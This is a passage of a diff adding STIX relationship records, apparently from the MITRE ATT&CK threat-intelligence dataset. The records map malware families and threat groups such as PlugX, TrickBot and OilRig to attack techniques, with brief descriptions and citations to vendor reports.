"uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) communicates with its C2 domain over ports 443 and 8443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33e3573b-0f18-417c-be17-727863fc21ec", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.301Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73db6a54-2270-431b-b7eb-2c5c71389637", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) has used Technet and Pastebin web pages for command and control.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a04e8c4-f697-446b-810a-8162ad7353ef", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9420e9de-cc4c-4d5c-b40f-02c57dcc4fd9", + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) uses a command-line interface.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc3ec682-31cc-4e74-8d04-a5fdef9e8410", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-06-07T15:40:16.271Z", + "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts collected data with AES and Base64 and then sends it to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab62293d-8f89-46b5-bab1-f7b564f5996f", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "modified": "2019-01-30T13:42:09.721Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "In one instance, [menuPass](https://attack.mitre.org/groups/G0045) added [PlugX](https://attack.mitre.org/software/S0013) as a service with a display name of \"Corel Writing Tools Utility.\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2019-04-19T15:08:16.016Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) loads malicious shellcode and executes it in memory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6454c008-39fc-44b5-b697-6637b4b78c0e", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) copies itself into a running Internet Explorer process to evade detection.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--81bace85-005e-4edd-bb71-ca7a57bc8a07", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to set up a proxy tunnel to allow remote host access to an infected host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5", + "external_references": [ + { + "source_name": "Securelist fileless attacks Feb 2017", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.", + "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) can download remote files onto victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e9f95f0-4939-4e74-9073-70efddddff50", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2019-07-17T16:17:30.318Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) injects into the svchost.exe process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Totbrick Oct 2016", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "source_name": "Microsoft Totbrick Oct 2017", + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "modified": "2019-06-24T19:15:06.996Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain a listing of running processes (including loaded modules).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) has used stolen certificates to sign its malware.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90", + "external_references": [ + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ], + "modified": "2019-03-25T16:59:47.276Z", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants install .dll files as services with names generated by a list of hard-coded strings.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c73fd631-245d-4b19-811f-2999e3d44182", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find information about the operating system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a", + "external_references": [ + { + "source_name": "TechNet Dir", + "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the IP address from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-31T00:36:41.019Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2251e15a-5b62-408d-b6a0-01aa8e2677b3", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.488Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.343Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.589Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77f9936d-1ba7-42a8-879d-1a6e90156366", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) captures window titles.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f436f533-1116-499f-b073-9cc7698e18b0", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\\microsoft\\security.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.860Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used keyloggers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f39446a9-07d1-456a-b48b-241aab979e55", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.498Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used a victim's endpoint management platform, Altiris, for lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "modified": "2019-03-25T17:01:21.310Z", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "relationship_type": "uses", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) determines a working directory where it stores all the gathered data about the compromised machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59193fff-6bea-41c6-b744-36850e6cc39a", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can capture screenshots of the desktop over multiple monitors.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e67e4cbe-e8f6-433b-a1d2-e869c35f6a52", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": 